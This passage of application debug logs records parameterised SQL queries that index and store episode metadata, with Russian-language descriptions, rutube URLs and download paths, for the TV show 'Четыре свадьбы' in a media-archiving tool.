Екатерины. В Краснодаре пройдёт свадьба в королевском стиле Марии. А в Архангельске состоится свадьба «сборная солянка» Ксении. Чьё мероприятие станет самым впечатляющим, увидим в программе «Четыре свадьбы».", "Армянская свадьба VS Королевская свадьба", "f3ac1af070b734d8e5c649ac3ef0ba8a", 6603, false, "https://rutube.ru/video/f3ac1af070b734d8e5c649ac3ef0ba8a/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e091200 - Армянская свадьба VS Королевская свадьба.mp4", false, 1, ~U[2024-09-12 14:30:12Z]] 14:36:17.255 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=57.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.255 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=34.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-19 08:50:14Z], 1] 14:36:17.278 [debug] QUERY OK source="media_items" db=22.0ms idle=31.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн", "3b0e82db-be46-4d57-9263-4d898d2c84a9", "053d2d2dc1b9ebfdeacedd768bdab3bc", 6356, false, "https://rutube.ru/video/053d2d2dc1b9ebfdeacedd768bdab3bc/", 83, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e101900 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн.mp4", false, false, false, 1, [], 1, ~U[2024-10-19 08:50:14Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "", "Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн", "053d2d2dc1b9ebfdeacedd768bdab3bc", 6356, false, "https://rutube.ru/video/053d2d2dc1b9ebfdeacedd768bdab3bc/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e101900 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн.mp4", false, 1, ~U[2024-10-19 08:50:14Z]] 14:36:17.281 [debug] QUERY OK source="sources" db=1.8ms idle=52.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.282 [debug] QUERY OK source="media_items" db=0.5ms idle=29.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-15 12:40:15Z], 1] 14:36:17.306 [debug] QUERY OK source="media_items" db=23.9ms idle=27.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Мероприятие Юлии из Калининграда пройдёт в стиле стендап-вечеринки. Анастасия пригласит конкуренток в Саратов на свою классическую свадьбу. Фишкой мероприятия Натальи из Рязани станет украшение торта. А у Александры из Санкт-Петербурга состоится свадьба в стиле «детский сад». Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба", "aee8922a-8bf8-4f5d-aff0-5341487aeba1", "11919af5add971f1e3ebca4d3542bd94", 6644, false, "https://rutube.ru/video/11919af5add971f1e3ebca4d3542bd94/", 84, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e111500 - Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-11-15 12:40:15Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты оценят свадьбы друг друга. Мероприятие Юлии из Калининграда пройдёт в стиле стендап-вечеринки. Анастасия пригласит конкуренток в Саратов на свою классическую свадьбу. Фишкой мероприятия Натальи из Рязани станет украшение торта. А у Александры из Санкт-Петербурга состоится свадьба в стиле «детский сад». Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба", "11919af5add971f1e3ebca4d3542bd94", 6644, false, "https://rutube.ru/video/11919af5add971f1e3ebca4d3542bd94/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e111500 - Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба.mp4", false, 1, ~U[2024-11-15 12:40:15Z]] 14:36:17.309 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=51.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.310 [debug] QUERY OK source="media_items" db=0.7ms idle=31.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-22 13:20:16Z], 1] 14:36:17.335 [debug] QUERY OK source="media_items" db=23.8ms idle=29.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске невесты побывают в Кушве, Москве, Омске и Сургуте. В Кушве пройдёт классическая свадьба Татьяны, в Москве – свадьба в европейском стиле Виктории, в Омске – молодёжная свадьба Татьяны, а в Сургуте – свадьба в стиле «русский патриотизм» Анастасии. Какие развлечения подготовили девушки для гостей, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба", "0ac54b38-699e-4bdf-8888-9a264e0676ba", "b658f89cb945578b09195202a8d34352", 6383, false, "https://rutube.ru/video/b658f89cb945578b09195202a8d34352/", 85, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e112200 - Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-11-22 13:20:16Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "В этом выпуске невесты побывают в Кушве, Москве, Омске и Сургуте. В Кушве пройдёт классическая свадьба Татьяны, в Москве – свадьба в европейском стиле Виктории, в Омске – молодёжная свадьба Татьяны, а в Сургуте – свадьба в стиле «русский патриотизм» Анастасии. Какие развлечения подготовили девушки для гостей, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба", "b658f89cb945578b09195202a8d34352", 6383, false, "https://rutube.ru/video/b658f89cb945578b09195202a8d34352/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e112200 - Четыре свадьбы: Свадьба в стиле патриотизма VS Молодежная свадьба.mp4", false, 1, ~U[2024-11-22 13:20:16Z]] 14:36:17.337 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=53.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.338 [debug] QUERY OK source="media_items" db=0.5ms idle=30.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-30 06:50:12Z], 1] 14:36:17.362 [debug] QUERY OK source="media_items" db=23.6ms idle=29.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты станут гостями на мероприятиях друг друга. Жанна из Самары пообещала удивить соперниц свадебным тортом с уникальной начинкой. Фишкой свадьбы Елены из Санкт-Петербурга станет проведение торжества на крыше. У Дианы из Ижевска пройдёт свадьба в стиле «ПП и ЗОЖ». А Юлия из Воронежа пригласит участниц на свою свадьбу-вечеринку. Кто из невест победит, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян", "4cd99f85-0926-4251-aaba-32beb4b1d7ad", "30f956c08fba7a28e80d5ddaf2fb827e", 6731, false, "https://rutube.ru/video/30f956c08fba7a28e80d5ddaf2fb827e/", 86, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e113000 - Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян.mp4", false, false, false, 1, [], 1, ~U[2024-11-30 06:50:12Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты станут гостями на мероприятиях друг друга. Жанна из Самары пообещала удивить соперниц свадебным тортом с уникальной начинкой. Фишкой свадьбы Елены из Санкт-Петербурга станет проведение торжества на крыше. У Дианы из Ижевска пройдёт свадьба в стиле «ПП и ЗОЖ». А Юлия из Воронежа пригласит участниц на свою свадьбу-вечеринку. Кто из невест победит, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян", "30f956c08fba7a28e80d5ddaf2fb827e", 6731, false, "https://rutube.ru/video/30f956c08fba7a28e80d5ddaf2fb827e/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e113000 - Четыре свадьбы: Свадьба в стиле ЗОЖ VS Свадьба в стиле инь-ян.mp4", false, 1, ~U[2024-11-30 06:50:12Z]] 14:36:17.366 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=52.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.367 [debug] QUERY OK source="media_items" db=0.6ms idle=31.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-13 15:00:14Z], 1] 14:36:17.392 [debug] QUERY OK source="media_items" db=24.4ms idle=30.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный марафон начинается! Виктория из Воронежа будет рада видеть гостей на своей свадьбе в морском стиле. У Дианы из Казани состоится свадьба в стиле рустик. Фишкой мероприятия Юлии из Мичуринска станет оформление с эвкалиптом. А Евгения из Балаково будет удивлять необычной свадебной церемонией. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки", "b9456316-2f4a-4a8f-81a4-75ea409f6c48", "8ff310aab3fe673437f8b7b323fd2cdb", 6777, false, "https://rutube.ru/video/8ff310aab3fe673437f8b7b323fd2cdb/", 87, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e121300 - Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки.mp4", false, false, false, 1, [], 1, ~U[2024-12-13 15:00:14Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Свадебный марафон начинается! Виктория из Воронежа будет рада видеть гостей на своей свадьбе в морском стиле. У Дианы из Казани состоится свадьба в стиле рустик. Фишкой мероприятия Юлии из Мичуринска станет оформление с эвкалиптом. А Евгения из Балаково будет удивлять необычной свадебной церемонией. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки", "8ff310aab3fe673437f8b7b323fd2cdb", 6777, false, "https://rutube.ru/video/8ff310aab3fe673437f8b7b323fd2cdb/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e121300 - Четыре свадьбы: Морская свадьба VS Свадьба в стиле вечеринки.mp4", false, 1, ~U[2024-12-13 15:00:14Z]] 14:36:17.394 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=54.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.395 [debug] QUERY OK source="media_items" db=0.5ms idle=32.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-07 15:20:18Z], 1] 14:36:17.412 [debug] QUERY OK source="media_items" db=16.5ms idle=29.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В новогоднем выпуске оценивать свадьбы друг друга будут женихи. Алексей пригласит участников в Самару на свою классическую свадьбу. Дмитрий из Москвы попробует удивить соперников банкетом от шеф-повара. Павел из Москвы устроит свадьбу в стиле «Игры престолов». А у Дениса из Москвы будет свадьба в эстетике девяностых. Кто победит в этом праздничном марафоне, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Женихи", "f4304388-5106-4fbc-884d-ed1e38caf0c9", "21aef33608a5324aa76de8292ba5474e", 8904, false, "https://rutube.ru/video/21aef33608a5324aa76de8292ba5474e/", 88, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e010700 - Четыре свадьбы: Женихи.mp4", false, false, false, 1, [], 1, ~U[2025-01-07 15:20:18Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "В новогоднем выпуске оценивать свадьбы друг друга будут женихи. Алексей пригласит участников в Самару на свою классическую свадьбу. Дмитрий из Москвы попробует удивить соперников банкетом от шеф-повара. Павел из Москвы устроит свадьбу в стиле «Игры престолов». А у Дениса из Москвы будет свадьба в эстетике девяностых. Кто победит в этом праздничном марафоне, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Женихи", "21aef33608a5324aa76de8292ba5474e", 8904, false, "https://rutube.ru/video/21aef33608a5324aa76de8292ba5474e/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e010700 - Четыре свадьбы: Женихи.mp4", false, 1, ~U[2025-01-07 15:20:18Z]] 14:36:17.431 [debug] QUERY OK source="sources" db=18.7ms queue=0.1ms idle=45.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.432 [debug] QUERY OK source="media_items" db=0.5ms idle=40.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-14 14:40:11Z], 1] 14:36:17.452 [debug] QUERY OK source="media_items" db=18.9ms idle=38.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты приглашают на свои свадьбы. У Анны из Барнаула будет свадьба в гаражном стиле. Александра из Коломны устроит свадьбу в стиле рустик с деревенской изюминкой. Фишкой торжества Ксении из Москвы станут современные традиции. А Марина из Москвы попробует удивить гостей советским ар-деко. Мероприятия девушек покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле", "c1dad84f-8f50-46d0-b310-e969fd6a172c", "472c805f889e8b9a8c978b1b3bc2c6b8", 6838, false, "https://rutube.ru/video/472c805f889e8b9a8c978b1b3bc2c6b8/", 89, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e011400 - Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле.mp4", false, false, false, 1, [], 1, ~U[2025-01-14 14:40:11Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "4 невесты приглашают на свои свадьбы. У Анны из Барнаула будет свадьба в гаражном стиле. Александра из Коломны устроит свадьбу в стиле рустик с деревенской изюминкой. Фишкой торжества Ксении из Москвы станут современные традиции. А Марина из Москвы попробует удивить гостей советским ар-деко. Мероприятия девушек покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле", "472c805f889e8b9a8c978b1b3bc2c6b8", 6838, false, "https://rutube.ru/video/472c805f889e8b9a8c978b1b3bc2c6b8/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e011400 - Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле.mp4", false, 1, ~U[2025-01-14 14:40:11Z]] 14:36:17.454 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=40.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.455 [debug] QUERY OK source="media_items" db=0.9ms idle=22.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-21 15:00:14Z], 1] 14:36:17.485 [debug] QUERY OK source="media_items" db=29.1ms idle=23.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске участницы посетят Новосибирск, Краснодар и Волосово. Екатерина пригласит конкуренток на свою современную свадьбу с танцами. Фишкой свадьбы Алёны станет эффектное появление молодых. У Светланы будет классическая свадьба в сине-белых тонах. А Анастасия организует свадьбу в сельском стиле. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Сельская свадьба VS Современная классика", "30e5a0f4-b06c-4802-902d-ad573e293396", "b38379f93af928d19efebe9efe8cf88a", 6754, false, "https://rutube.ru/video/b38379f93af928d19efebe9efe8cf88a/", 90, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012100 - Четыре свадьбы: Сельская свадьба VS Современная классика.mp4", false, false, false, 1, [], 1, ~U[2025-01-21 15:00:14Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "В этом выпуске участницы посетят Новосибирск, Краснодар и Волосово. Екатерина пригласит конкуренток на свою современную свадьбу с танцами. Фишкой свадьбы Алёны станет эффектное появление молодых. У Светланы будет классическая свадьба в сине-белых тонах. А Анастасия организует свадьбу в сельском стиле. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Сельская свадьба VS Современная классика", "b38379f93af928d19efebe9efe8cf88a", 6754, false, "https://rutube.ru/video/b38379f93af928d19efebe9efe8cf88a/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012100 - Четыре свадьбы: Сельская свадьба VS Современная классика.mp4", false, 1, ~U[2025-01-21 15:00:14Z]] 14:36:17.488 [debug] QUERY OK source="sources" db=2.3ms queue=0.1ms idle=33.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.489 [debug] QUERY OK source="media_items" db=0.6ms idle=34.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-28 16:10:14Z], 1] 14:36:17.517 [debug] QUERY OK source="media_items" db=28.2ms idle=35.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты приглашают в Китай на свои свадьбы. В Аньшуне состоится деревенская свадьба Милены. В Ханчжоу пройдёт свадьба в дачном стиле Анны. В Шэньчжэне Влада отпразднует перерождение семьи. А в Пекине Полина устроит историческое погружение. Колоритные мероприятия покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьбы в Китае", "71aea11c-b43c-4440-8994-04d6a4eb1eba", "5bf66138112adebf0db41098f05cdead", 8904, false, "https://rutube.ru/video/5bf66138112adebf0db41098f05cdead/", 91, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012800 - Четыре свадьбы: Свадьбы в Китае.mp4", false, false, false, 1, [], 1, ~U[2025-01-28 16:10:14Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты приглашают в Китай на свои свадьбы. В Аньшуне состоится деревенская свадьба Милены. В Ханчжоу пройдёт свадьба в дачном стиле Анны. В Шэньчжэне Влада отпразднует перерождение семьи. А в Пекине Полина устроит историческое погружение. Колоритные мероприятия покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьбы в Китае", "5bf66138112adebf0db41098f05cdead", 8904, false, "https://rutube.ru/video/5bf66138112adebf0db41098f05cdead/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012800 - Четыре свадьбы: Свадьбы в Китае.mp4", false, 1, ~U[2025-01-28 16:10:14Z]] 14:36:17.521 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=63.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.526 [debug] QUERY OK 